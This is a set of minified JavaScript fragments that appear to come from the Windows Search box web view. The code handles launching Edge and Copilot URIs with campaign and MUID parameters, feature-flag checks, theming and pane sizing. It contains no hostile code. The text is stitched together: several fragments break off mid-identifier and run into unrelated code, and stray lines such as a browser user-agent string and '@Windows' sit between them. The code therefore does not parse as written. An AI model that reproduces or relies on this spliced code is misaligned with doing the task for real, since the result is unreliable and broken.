0:n.accountId,r.oid=i)}if(n.config.enableAnaheimLaunchWithProtocol&&(i=i?`microsoft-edge:?url=${encodeURIComponent(i)}&timestamp=${n.getCurrentTime()}`:`microsoft-edge:?timestamp=${n.getCurrentTime()}`,n.config.anaheimDataLaunchSource&&(i+=`&source=${encodeURIComponent(n.config.anaheimDataLaunchSource)}`),r.campaign&&(i+=`&campaign=${encodeURIComponent(r.campaign)}`),r.medium&&(i+=`&medium=${encodeURIComponent(r.medium)}`),r.cid&&(i+=`&cid=${encodeURIComponent(r.cid)}`),r.oid&&(i+=`&oid=${encodeURIComponent(r.oid)}`),r.edgeSettingsUrl&&(i+=`&ux=${encodeURIComponent(r.edgeSettingsUrl)}`),r.hubAppId&&(i+=`&hubappid=${encodeURIComponent(r.hubAppId)}`),n.config.enableLaunchWithProfile)){const t=this._accessTokenManager.getSelectedAccountInfo();t&&(i+=`&upn=${n.encodeURIComponentForWindowsProtocol(t.accountUserName)}`)}if(n.config.enableDSBEngageDataInMRU){let t=new n.ClientSideStorage.IndexedDbDSBEngagedDataStorage;t.setDSBQueryAsync(i,r)}const f=await t.launchUriAsync(i,u);return n.InstrumentationHelper.logClientInstEvent("ClientInst","EdgeProtocolLaunchURL",n.SequenceNumberManager.getSequenceNumber(),{medium:r.medium},"BingTelemetry"),f}static launchCodexUriAsync(t,i,r){return this._navigationHelper?(t=this._navigationHelper.enrichUrlWithCvid(t),t=this._navigationHelper.enrichUrlWithMuidInfo(t)):(t=n.setUrlParameter(t,"cvid",this._currentCVID),t=n.setUrlParameter(t,"nclid",_G.nclid)),n.Host.launchUrlWithEdgeProtocolAsync(t,i,r)}static launchUriWithCopilotProtocalAsync(t){return n.Host.launchUriAsync("ms-copilot:chat?"+t,null)}static launchSuggestionUriWithCopilotProtocalAsync(i){if(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(59162555)){const r=t.getSelectedAssistantApp();if(r)return n.Host.launchUriAsync(r.launchSuggestionUri+i,null)}return n.Host.launchUriAsync("ms-copilot:chat?q="+i,null)}static launchUriWithSearchBoxProtocolAsync(t){return n.Ho
_isWIPOrInternalAudience=n==="dev"||n==="beta"||(n===null||n===void 0?void 0:n.startsWith("ge_current"))?!0:!1}}static getRationalizedSearchSettingsEnabled(){return(!!n.config.rationalizedSearchSettings||t.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56347821))}static getIsWIPOrInternalAudience(){return t._isWIPOrInternalAudience}static initEdgeMuids(){if(n.config.enableEdgeMuidsTelemetry&&SearchAppWrapper.CortanaApp.edgeMuids){let i,t=[],r=Object.keys(SearchAppWrapper.CortanaApp.edgeMuids);for(let u in r){let e=r[u],f=SearchAppWrapper.CortanaApp.edgeMuids[e];e=="Default"?i||(i=f,n.config.enableEdgeMuidsTelemetryWrite?this.setEdgeMuidDefault(f):this.setEdgeMuidDefault("D")):t.indexOf(f)==-1&&t.push(f)}if(!n.config.enableEdgeMuidsTelemetryWrite)for(let n in t)t[n]="M";t.length>0&&this.setEdgeMuidsAdditional(t)}}static getEdgeMuidCount(){var n;let i=t._edgeMuidDefault?1:0,r=(n=t._edgeMuids)===null||n===void 0?void 0:n.length;return i+r}static getEdgeMuidsAdditional(n){let i=t._edgeMuids,r=t._edgeMuidDefault;return r&&(i=i.filter(n=>n!=r)),n&&n<i.length?i.slice(0,n):i}static setEdgeMuidsAdditional(n){return t._edgeMuids=n,!0}static getEdgeMuidDefault(){return t._edgeMuidDefault}static setEdgeMuidDefault(n){return t._edgeMuidDefault=n,!0}static getOsSKU(){return n.osSKUCache}static getWindowsTheme(){return t._defaultWindowsTheme}static getAppTheme(){return t._defaultAppTheme}static isInConversationMode(){return this._inConversationMode}static setInConversationMode(n){this._inConversationMode=n;this._qfDisabled=!1}static getAccentColor(n=0){if(!Number.isInteger(n))throw"Invalid argument "+n;if(t._accentColorShades){let i=n<0?t._accentColorShades.light:t._accentColorShades.dark,r=Math.min(3,Math.abs(n));return i[r]}return t._accentColor}static initInstalledAppsByQueryInCurrentConversation(){n.config.enableWinStoreAppPreview&&(t._installedAppsByQuery={})}static getAllInstalledAppsByQueryInCurrentConversation(n){let i=t._installedAppsByQuery?Object.keys(t._installedAppsByQuery):[];return(i===null||i===void 0?void 0:i.includes(n))?t._installedAppsByQuery[n]:null}static addInstalledAppsByQueryInCurrentConversation(n,i){let r=t._installedAppsByQuery?Object.keys(t._installedAppsByQuery):[];(r===null||r===void 0?void 0:r.includes(i))||(t._installedAppsByQuery[i]=[]);t._installedAppsByQuery[i].push(n)}static getCachedCortanaHeaders(){return t._cortanaHeaders}static setCortanaHeadersCache(i){n.config.enableCortanaHeadersCache&&(t._cortanaHeaders=i)}static refreshAccentColorShades(){t._accentColorShades=null;let n=i.themeColors;n&&(t._accentColorShades={dark:[n.accent,n.accentDark1,n.accentDark2,n.accentDark3,],light:[n.accent,n.accentLight1,n.accentLight2,n.accentLight3,]},t._accentColorShades.dark=t._accentColorShades.dark.map(n=>"#"+n.substr(3)),t._accentColorShades.light=t._accentColorShades.light.map(n=>"#"+n.substr(3)))}static calculateBrowserType(n){return n?n.endsWith("\\chrome.exe")?6:n.endsWith("LaunchWinApp.exe")?3:n.endsWith("firefox.exe")?5:n.endsWith("\\msedge.exe")?4:n.endsWith("Opera\\Launcher.exe")?7:n.endsWith("\\iexplore.exe")?2:n.endsWith("\\brave.exe")?8:0:0}static getUriLaunchPolicy(){return 2}static getConnectedAccountInfo(n){return t._accessTokenManager?t._accessTokenManager.getCachedAccountInfo(n):null}static isInternetConnectionMetered(){return n.safeExecute(()=>i.networkEnvironment&&i.networkEnvironment.isMeteredConnection,"isInternetConnectionMetered",!1)}static isInputPanelVisible(){return n.safeExecute(()=>r.isInputPaneVisible,"isInputPanelVisible")}static uploadClientErrorLog(){if(i.getFlightingLogsAndDelete){let t=n.safeExecute(()=>i.getFlightingLogsAndDelete(),"getFlightingLogsAndDelete","");for(let i of t.split("\r\n"))if(i!=""){let t=i.indexOf("|");if(t<0||t+1==i.length)n.LogWSBWarning("clientWarning",i,"Malformed clientError data","WindowsTelemetry");else{let r=i.substr(t+1);r.startsWith("Critical:")||r.startsWith("Error:")?n.LogWSBError("clientError",null,r,undefined,undefined,"WindowsTelemetry"):n.LogWSBWarning("clientWarning",eMaxSuggestionsCountForFiles=!0;n.config.newFilesPreviewPane=n.RuntimeConfig.QfMode!=12;n.config.enableCopIFFExpPlan=!0;n.config.disableCoPiffProgressBarAndTimeout||(n.config.dataSourcesWithProgressBar=["SSEC","SSEE","CoPIFF","CoPCFP"],n.config.enableProgressBarForAllScope=!0,n.config.semanticSearchTimeout||(n.config.dataSourceTimeLimit=5e3))}static setComposerConfigs(){n.RuntimeConfig.QfMode===12&&(n.config.limitScaleRange=!1,n.config.dataSourcesWithProgressBar=[],n.config.enableProgressBarForAllScope=!1,n.config.scoreBasedGroupRanking="Disabled",n.config.enableSubstrateForCoT=!0,n.config.enableSemanticForCoT=!0)}static isFullTextSearchEnabled(){var i,r;return(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(48449532))&&((r=(i=t._currentQuery)===null||i===void 0?void 0:i.queryToFetch)===null||r===void 0?void 0:r.length)>=5}static isFullTextRelevanceStringEnabled(){return n.config.enableFullTextRelevanceString&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(48449532))}static isFullTextRespectL1RankerEnabled(){var i,r;return n.config.enableFullTextRespectL1Ranker&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(48449532))&&((r=(i=t._currentQuery)===null||i===void 0?void 0:i.queryToFetch)===null||r===void 0?void 0:r.length)>=5}static async setCopilotInstallationStatus(){let i=!0;if(n.config.shouldCheckCopilotInstallationStatus)try{await new Promise(t=>{n.LocalDataProvider.getAppsByDisplayName(n.CopilotDisplayName,r=>{i=Object.values(r).reduce((n,t)=>n.concat(t),[]).some(t=>t.deviceItem.displayName===n.CopilotDisplayName[0]),t()})})}catch(r){i=!1}t._copilotInstalled=i}static getCopilotInstallationStatus(){return t._copilotInstalled}static enableAddCopilotActionToBestMatch(){return n.config.addCopilotActionToBestMatch&&t.getCopilotInstallationStatus()}static enableAddCopilotActionToActionList(){return n.config.addCopilotActionToActionList&&t.getCopilotInstallationStatus()}static setWindowsInstalledApps(){if(!this._normalizedInstalledAppNames){SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getAllAppsAsync().then(n=>{this.buildNormalizedWindowsInstalledAppNames(n)},n=>{SharedLogHelper.LogError("setWindowsInstalledApps",n)});return}}static buildNormalizedWindowsInstalledAppNames(n){var t,i,r;if(n){const u=new Set;for(const f in n){const e=(r=(i=(t=n[f])===null||t===void 0?void 0:t.displayName)===null||i===void 0?void 0:i.trim())===null||r===void 0?void 0:r.toLowerCase();e&&u.add(e)}this._normalizedInstalledAppNames=u}}static getNormalizedWindowsInstalledAppNames(){return t._normalizedInstalledAppNames}static setSelectedAssistantApp(){if(t._assistantApp=undefined,(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(59162555))&&(t._assistantApp=ProjectionFactory===null||ProjectionFactory===void 0?void 0:ProjectionFactory.selectedAssistantApp,(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(60181467))&&t._assistantApp)){let i=[t._assistantApp.aumid];t._commercialAssistantIconCache=n.Async.safeChainWithGlobalCaching("commercialAssistantGetIcon",t=>e.deviceSearch.findAppsAsync(i).then(r=>{let u=i.map(n=>r[n]).filter(n=>!!n)[0];return u?u.getImageAsync(n.getImageSizeValue(t)).then(n=>o(n,"commercialAssistantIcon",{type:2,content:"&#xE901"},u.isImmersive?u.logoBackgroundColor:null)):Promise.resolve(o(null,"commercialAssistantIcon",{type:2,content:"&#xE901"}))}),n=>n+"_"+i[0])}}static getSelectedAssistantApp(){return t._assistantApp}static setFindSharedFilesEnabled(){t._findSharedFilesEnabled=n.config.enableFindSharedFiles&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(53509714))&&!!SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.sharedFileSearchProvider}static getFindSharedFilesEnabled(){return t._findSharedFilesEnabled}static setIsWIPOrInternalAudience(i){var r;if(n.config.enableWIPCheck){const n=(r=i!=null?i["X-Device-BuildBranch"]:"")===null||r===void 0?void 0:r.toLowerCase();t.rsUndefinedCount(n=0){t._mruFilesAndFoldersUndefinedCount=n}static setSFSLNLStrixCFRFligtStatus(n){var i=n!=null?n["X-BM-WindowsFlights"]:"";i!=null&&(i.includes("36D85A9")||i.includes("36D864E"))&&(t._isInSFSLNLStrixCFR=!0)}static setIsCopilotPlusCapablePC(i){n.config.enableCopilotCapablePcCheck&&(n.isNullOrUndefined(i===null||i===void 0?void 0:i["X-Device-IsA9Capable"])?n.isNullOrUndefined(i===null||i===void 0?void 0:i["X-BM-IsPolarisCapable"])||(t._isCopilotPlusCapablePC=i["X-BM-IsPolarisCapable"].toLowerCase()==="true"):t._isCopilotPlusCapablePC=i["X-Device-IsA9Capable"].toLowerCase()==="true")}static IsSemanticSearchDisabledForNonCopilotPC(){return n.config.enableCopilotCapablePcCheck&&t._isCopilotPlusCapablePC===!1}static getIFFPolarisProviderEnabled(){return t._iFFPolarisProviderEnabled}static getVegaProviderEnabled(){return t._iFFVegaProviderEnabled}static getJupiterProviderEnabled(){return(n.config.enableCoPilotPoweredSettingsProvider||this.getJupiterDefaultEnabledBuild())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(51742224))&&!t.IsSemanticSearchDisabledForNonCopilotPC()}static getCoPSTRankPlanEnabled(){return!!n.config.enableCoPSTRankPlan}static getForceCoPSTResultRenderingEnabled(){return!!n.config.forceCopilotPoweredSettingResultRendering}static getIFFVegaDefaultEnabledBuild(){return t._iFFVegaDefaultEnabledBuild}static getJupiterDefaultEnabledBuild(){return t._jupiterDefaultEnabledBuild}static setIFFVegaDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPilotPoweredCloudFileEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._iFFVegaDefaultEnabledBuild=!0)}static setIFFVegaProviderEnabled(){n.isVegaSearchEnabled(t._isInSFSLNLStrixCFR)&&!t.IsSemanticSearchDisabledForNonCopilotPC()&&(t._iFFVegaProviderEnabled=!0,this.setPolarisDefaultConfigs())}static setJupiterDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPilotPoweredSettingsEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._jupiterDefaultEnabledBuild=!0)}static setJupiterDefaultConfigs(){n.config.enableBranchesWithCoPST&&t._jupiterDefaultEnabledBuild&&(n.config.forceCopilotPoweredSettingResultRendering=!0,n.config.enableCoPSTRankPlan=!0)}static setIFFPolarisProviderEnabled(){if(n.isPolarisSearchEnabled(t._isInSFSLNLStrixCFR)&&!t.IsSemanticSearchDisabledForNonCopilotPC()){const i=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.polarisProvider.status;t._iFFPolarisProviderEnabled=i===0;t._iFFPolarisProviderEnabled||n.LogWSBWarning("[PolarisProvider] PolarisStatus: "+i,undefined,undefined,"WindowsTelemetry");this.setPolarisDefaultConfigs()}}static getIFFPolarisDefaultEnabledBuild(){return t._iFFPolarisDefaultEnabledBuild}static getGetIconAsyncEnabled(){return n.config.newFilesPreviewPane&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(53029811))||t.isImageGridEnabled()}static getGetItemStorageStateAsyncEnabled(){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockCloudFileStatus)||(n.config.enableCloudFileStatus||t.getIsWIPOrInternalAudience())&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56321400))}static getLogUserActivityDataEnabled(){return n.config.enableLogUserActivityData&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(49805431))}static useImprovedIndexingMessage(){return n.config.newIndexMsg&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(56750487))&&n.RuntimeConfig.QfMode!=12}static setIFFPolarisDefaultEnabledBuild(i){var r;const u=i!=null?i["X-Device-BuildBranch"]:"";((r=n.config.coPiffEnabledBuilds)===null||r===void 0?void 0:r.includes(u===null||u===void 0?void 0:u.toLowerCase()))&&(t._iFFPolarisDefaultEnabledBuild=!0)}static setPolarisDefaultConfigs(){n.config.forceCoPilotPoweredResultsVisible=!0;n.config.enabl
@Windows
)}return r}static getWindowsActivationState(){if(n.MockUrlParameters&&n.MockUrlParameters.mockNonActivationDevice)return!1;if(n.isWindowsActivationStateEnabled()){const t=SearchAppWrapper.CortanaApp.systemInfo.isWindowsGenuine();return n.setWindowsActivationStateToCache(t),t}return undefined}static reloadWebViewAsync(){return t._webViewReloadEventHanlders.forEach(t=>n.safeExecute(()=>t(),"beforeWebViewReload")),n.config.reloadWebViewWithNewGuid&&(t._currentRawImpressionId=t.createGuid(),t._currentRawImpressionIdCreatedByTheClient=!1),n.Async.safePromise("reloadWebViewAsync",()=>i.reloadWebViewAsync()).catch(()=>{})}static checkCSSBundleIntegrity(n){let t=_ge("cssCanary-"+n),i=_w.getComputedStyle(t).fontFamily,r=_w.getComputedStyle(t).getPropertyValue("list-style-type"),u=_w.getComputedStyle(t).fontSize;if(i!=`CANARY-${n}`&&i!=`"CANARY-${n}"`||r!="none"||u!="1px")throw new Error("Missing CSS Bundle: "+n);}static throwIfResourcesMissing(){if(n.config.checkCSSBundleIntegrity){let i=["WSBBundleFontIcons","WSBBundleQF","WSBBundleSSH","WSBBundleMain","WSBBundleOthers"];n.config.checkDSBCSSBundleIntegrity&&i.push("DynamicSearchBoxBundle");for(let n of i)t.checkCSSBundleIntegrity(n)}else{let i=_ge("cssCanary"),r=_w.getComputedStyle(i).fontFamily,u=_w.getComputedStyle(i).getPropertyValue("list-style-type");if(n.config.useCobaltCSS||sa_config.undocked){let t=_w.getComputedStyle(i).fontSize;t!="1px"&&n.log("WSBCobalt.css missing. useCobaltCSS="+n.config.useCobaltCSS+" undocked="+sa_config.undocked)}if(r!="CANARY"&&r!='"CANARY"'||u!="none")throw new Error("Missing CSS Bundle. Canary font: "+r);n.config.checkDSBCSSBundleIntegrity&&t.checkCSSBundleIntegrity("DynamicSearchBoxBundle")}}static getFormCode(){return SearchAppWrapper.CortanaApp.entryPoint!="WNSHVR"?n.mapOSFormCode("WNSGPH"):"WNSHVR"}static getRegion(){return n.regionCache||this.initCortanaEnabledAndRegion(),n.regionCache}static getLanguage(){return n.uiLanguageCache||this.initLanguage(),n.uiLanguageCache}static dataSourceDependencies(n){return n=="Web"?["OSTMA","OSTMAN","QS"]:n=="SSUE"?["SREE"]:[]}static getPaneCloseCount(){return t._paneCloseCount}static hasFallbackHappened(){return t._hasFallbackHappened}static getSafeSearchSetting(){return t._safeSearchSetting}static isEducationEnvironment(){return t._isEducationEnvironment}static isWindowsS(){return t._isWindowsS}static getPartnerSearchCode(){return t._partnerSearchCode}static getMSNRefIg(){return null}static setSearchBoxGlyphIcon(t){if(r.setSearchBoxGlyphIcon)if(t){let i=t.content||"";if(i.startsWith("&#x")){let n=parseInt(i.substr(3),16);i=n?String.fromCharCode(n):""}let u=t.type==2?"/Assets/Fonts/CortMDL2.ttf#Cortana MDL2 Assets":"";n.safeExecute(()=>r.setSearchBoxGlyphIcon(i,u),"setSearchBoxGlyphIcon custom")}else n.safeExecute(()=>r.setSearchBoxGlyphIcon("",""),"setSearchBoxGlyphIcon default")}static adjustHeight(){if(n.RuntimeConfig.PanelCanResize&&i.setWebViewHeight){t._pendingAdjustHeightTimer&&(sb_ct(t._pendingAdjustHeightTimer),t._pendingAdjustHeightTimer=null);(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.clientVersion)&&(c?n.StaticHtmlElements.rootContainer.style.height="auto":n.StaticHtmlElements.root.style.height="auto");let r=t._feedbackFormIsVisible?y:n.StaticHtmlElements.root.offsetHeight;c&&(r+=36);let u=()=>{if(r*=n.RuntimeConfiguration.TextScaleFactor||1,n.RuntimeConfig.QfMode==12){let t=n.StaticHtmlElements.root.getBoundingClientRect(),i=t.bottom,u=i-r<0,f=u?"scroll":"hidden";n.StaticHtmlElements.rootContainer.style.overflowY=f}i.setWebViewHeight(r);t._currentPaneHeight=r;t._pendingAdjustHeightTimer=null};!n.config.paneResizeDelay||r>=t._currentPaneHeight?u():t._pendingAdjustHeightTimer=n.safeSetTimeout(u,n.config.paneResizeDelay,"adjustHeight")}}static isClientLocationAvailable(){return t._shouldRequestEltoken||!!t._elToken}static getFileExplorerCurrentPath(){if(n.RuntimeConfig.QfMode!=5)throw"Not supported";return t._fileExplorerCurrentPath}static isDSBEnabledByClient(){var u,i,r;if(!(n.config.fixDSBCoverageRegression&&n.isZeroInputAllScope(this._currentQuery$`
$st.launchUriAsync("ms-search://Search?launchexternal=true&q="+t,!1)}static launchThirdPartyUriWithProtocolAsync(i,r){return new Promise(f=>{if(!n.isThirdPartySearchAllowed()){f(!0);return}if(!r){/^(http|https):/.test(i)?n.Async.safePromise("launchUrlWithHttpProtocolAsync",()=>u.launchWebUriWithProtocolAsync(i.substring(i.indexOf(":")+1),"https",null)):this.launchUrlWithEdgeProtocolAsync(i,{});f(!0);return}n.Async.safeChain("launchUri",()=>{let n=u.createUriLaunchOptions();return n.launchPolicy=t.getUriLaunchPolicy(),n.dismissAppBeforeLaunchingURI=!0,u.launchWebUriWithProtocolAsync(i,r,n)},n=>f(n),()=>f(!1))})}static launchDSBUriAsync(t,i,r,u,f){i.setProperty("clickThroughUrl",t);const o=n.SequenceNumberManager.getSequenceNumber();u&&n.InstrumentationHelper.createCodexClickItemProps(i,"DSBCodex");n.InstrumentationHelper.instrumentItemClick(n.getCurrentTime(),i,o,null,f||n.getInputType(r),null);let e=i===null||i===void 0?void 0:i.getProperties();e?e.ocid?(t=n.setUrlParameter(t,"ocid",e.ocid),t=n.setUrlParameter(t,"pc","DSBPC")):e.form&&!t.includes("form=DSBHIB")?t=n.setUrlParameter(t,"form",e.form):n.InstrumentationHelper.logClientInstEvent("ClientInst","NoOcidOrForm",o,null,"BingTelemetry",16777216):n.InstrumentationHelper.logClientInstEvent("ClientInst","NoInstrumentedItemProperties",o,null,"WindowsTelemetry",16777216);this._navigationHelper?(t=this._navigationHelper.enrichUrlWithCvid(t),t=this._navigationHelper.enrichUrlWithMuidInfo(t)):(t=n.setUrlParameter(t,"cvid",this._currentCVID),t=n.setUrlParameter(t,"nclid",_G.nclid));n.config.enableWsbPartnerCodes&&(t=n.setWsbPartnerCodeToURL(t,1));const s=n.createDSBEdgeLaunchProtocolParameters(e);return n.shouldLaunchSuggWithDefaultBrowser()?n.Host.launchUrlWithDefaultBrowserAsync(t):n.Host.launchUrlWithEdgeProtocolAsync(t,s)}static setGleamClickUriParameters(t){return this._navigationHelper?this._navigationHelper.enrichUrlWithMuidInfo(t):n.setUrlParameter(t,"nclid",_G.nclid)}static async launchOutlookAsync(i){return new Promise(r=>{try{const f=n.Async.safePromise("launchOutlookAsync",()=>u.launchEmailInOutlookNativeAsync(i));r(f);f&&t.manuallyDismissApp()}catch(f){return r(!1)}})}static submitFileExplorerTextSuggestion(t){n.safeExecute(()=>i.fileExplorerSuggestionPage.onSuggestionSelection(t),"submitFileExplorerTextSuggestion")}static submitFileExplorerFolderSuggestion(t){n.safeExecute(()=>i.fileExplorerSuggestionPage.onFolderSelection(t),"submitFileExplorerFolderSuggestion")}static removeItemFromPinnedToTaskbar(n){t._pinnedApps[n]=!1}static addItemToPinnedToTaskbar(n){t._pinnedApps[n]=!0}static cleanTaskBarPinnedItems(){t._pinnedApps={}}static isPinnedToTaskbar(n){return t._pinnedApps[n]}static launchSearchInFileExplorer(r,u="docs"){r||(r=t.getQuery().queryToFetch);n.config.wsbWithCopilotQF?n.safeExecute(()=>i.launcher.launchExplorerSearch(`query=${n.encodeURIComponentForWindowsProtocol(r)}`),"launchExplorerSearchCopilot"):n.safeExecute(()=>i.launcher.launchExplorerSearch(`query=${n.encodeURIComponentForWindowsProtocol(r)}&crumb=kind:${u}`),"launchExplorerSearch")}static isRequestFocusAvailable(){return!!r.requestFocus}static setFocusInSearchBox(i,u){if(t.isRequestFocusAvailable()){const t=()=>r.requestFocus(),f="requestFocus";i==9?n.safeSetTimeout(t,0,f,u):n.safeExecute(t,f,null,u);let e=n.getCurrentActiveElement();e&&e.blur()}}static setFocusInWebView(t){i.focusWebView&&n.safeExecute(()=>i.focusWebView(),"focusWebView",null,t)}static getFeatureEnabled(t){let r={validFeature:!1,featureEnabled:!1};return i.getFeatureEnabled?n.safeExecute(()=>i.getFeatureEnabled(t),"getFeatureEnabled",r,t):r}static getFeatureDWORD(t){let r={validFeature:!1,featureValue:0};return i.getFeatureDWORD?n.safeExecute(()=>i.getFeatureDWORD(t),"getFeatureDWORD",r,t):r}static getFeatureString(t){let r={validFeature:!1,featureValue:""};return i.getFeatureString?n.safeExecute(()=>i.getFeatureString(t),"getFeatureString",r,t):r}static launchInApp(i,r,u){t.updateQueryWithoutRefetching(r);n.safeExecute(u,i)}static launchVoiceFlow(n){t.launchInApp("launchVoiceFlow",n,()=>u.launchRAFAsync(n,t.getFormCode(),t.1
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
Elements.root,t,i)}setConditionalCssOnElement(n,t,i){i?n.classList.add(t):n.classList.remove(t)}setQueryBasedCss(t,i){this.setConditionalCss("zeroInput19H1",(t===null||t===void 0?void 0:t.isSearchHomeZI)||!!(t===null||t===void 0?void 0:t.isThirdPartyZI));(t===null||t===void 0?void 0:t.scope)==n.Scope.ThirdPartyWeb&&i&&this.setConditionalCss("zeroInput19H1",!1);this.setConditionalCss("wideByDefault",n.config.wsbWithCopilotQF?t===null||t===void 0?void 0:t.isSearchHomeZI:n.RuntimeConfig.AlwaysWide);this.setConditionalCss("twoPanesZI",n.shouldShowStaticSearchHome(t)||n.shouldShowDSBLayout(t));this.setConditionalCss("dsb",n.shouldShowDSBLayout(t));this.setConditionalCss("dsbFullWidth",n.shouldShowDSBFullWidth(t));this.setConditionalCss("transparentMiniserp",n.shouldShowTransparentMiniserp());this.setConditionalCss("allScope",t&&t.scope==n.Scope.All);this.setConditionalCss("chatScope",!!n.isChatScopeEnabled()&&(t===null||t===void 0?void 0:t.scope)==n.Scope.Chat);this.setConditionalCss("searchHomeToggle",!!n.isChatScopeEnabled()&&(t===null||t===void 0?void 0:t.isSearchHomeZI)||n.isThirdPartySearchAllowed()&&!n.isSupportWebResultsInAllScopeInDMAEnabled()&&n.Host.isThirdPartySearchAppsEnabled());n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.setDsbPanesVisibility(t)}setThemeBasedCss(){if(n.config.isThemeAware){var t=n.Host.getWindowsTheme();this.setConditionalCss("darkTheme",t==2);this.setConditionalCss("lightTheme",t==1);_d.body.classList.add("notRS5");n.config.showShimmerOnDismiss&&(this.setConditionalCssOnElement(n.StaticHtmlElements.shimmerContainer,"darkTheme",t==2),this.setConditionalCssOnElement(n.StaticHtmlElements.shimmerContainer,"lightTheme",t==1))}else n.config.searchHomeSupported&&(this.setConditionalCss("lightTheme",!0),this.setConditionalCss("lightThemeRS5",!0))}initPreviewPane(){let t=n.RuntimeConfiguration.TextScaleFactor||1;n.config.limitScaleRange&&(t>n.MaxTextScaleThres?t=n.MaxTextScaleThres:t<n.MinTextScaleThres&&(t=n.MinTextScaleThres));let i=n.config.useCobaltCSS?n.CobaltPreviewPaneWidth/t:n.PreviewPaneWidth/t;n.config.useCobaltCSS&&SearchAppWrapper.CortanaApp.width>800&&(i=n.CobaltPreviewPaneWidthLarge/t);n.config.wsbWithCopilotQF&&(i-=40);n.StaticHtmlElements.qfPreviewPane.classList.remove("transitionOn");n.StaticHtmlElements.qfPreviewPane.style.minWidth=i+"px"}initDebugWindow(){this._debugWindow||(this._debugWindow=_ge("qfDebugPane"),this._debugWindow&&(this._debugWindow.style.flexBasis=n.DebugWindowWidth+"px"))}setDimensions(n){if(!this._previewPaneVisible&&!this._debugWindowVisible){this.onPaneWidthSet(n);this._originalPaneWidth=n}}ensureWebViewWidthExpanded(){let i=n.SinglePaneWidth+n.PreviewPaneWidth;n.RuntimeConfig.QfMode==1&&t.width<i&&(t.setPaneWidth(i),this.setDimensions(i,null))}getScrollTop(){return this._qfContainer.scrollTop}scrollToTop(){n.config.optimizeScrollTop&&this._qfContainer.scrollTop===0||(this._qfContainer.scrollTop=0);n.config.optimizeScrollTop&&_d.body.scrollTop===0||(_d.body.scrollTop=0)}scrollToLeft(){_qs(".resultsContainer").scrollLeft=0}scrollRightPaneToTop(){const t=document.getElementById("localScrollArea"),i=document.getElementById("qfPreviewScrollArea"),r=document.querySelector(".previewDataSection > div > ul");t&&i&&r&&(t.scrollTop!==0||i.scrollTop!==0)&&r.firstElementChild===document.activeElement&&(n.config.useCobaltCSS?t.scrollTop=0:i.scrollTop=0)}scrollToElement(n,t,i){let u=t.scrollTop,r=n===null||n===void 0?void 0:n.offsetTop,f=r+(n===null||n===void 0?void 0:n.offsetHeight);f>u+i?t.scrollTop=f-i:r<u&&(t.scrollTop=r)}scrollToElementBottomHorizontalScrollBar(n,t,i){let f=t.scrollLeft,r=n===null||n===void 0?void 0:n.getBoundingClientRect().left,e=r<100?0:100,u=r+(n===null||n===void 0?void 0:n.offsetWidth)+e;r<0?t.scrollLeft=0:u>f+i&&(t.scrollLeft=u-i)}getSuggestionsContainerHeight(){return this._suggestionsContainerHeight||this.calculateSuggestionsContainerHeight(),this._suggestionsContainerHeight}getSuggestionsContainerWidth(){return(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.isTest)?t.width:_w.innerWidth}resetn.VelocityKeys.isFeatureEnabled(40979072));this.setConditionalCss("newIndexingMessage",n.Host.useImprovedIndexingMessage());this.setConditionalCss("win11sshpof",n.config.enableWin11SSH&&(n.VelocityKeys===null||n.VelocityKeys===void 0?void 0:n.VelocityKeys.isFeatureEnabled(44533041))&&(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())!==1);this.setConditionalCss("wsbPointerCursor",n.config.enablePointerCursorForAll);this.setConditionalCss("newGroupHeader",n.config.newGroupHeaderStyle1)});n.Host.bindBootstrapDone(()=>{n.config.perfLogging&&n.WSBPerformance&&n.WSBPerformance.getInstance().beginMark("WSBPage.bindBootstrapDone");let 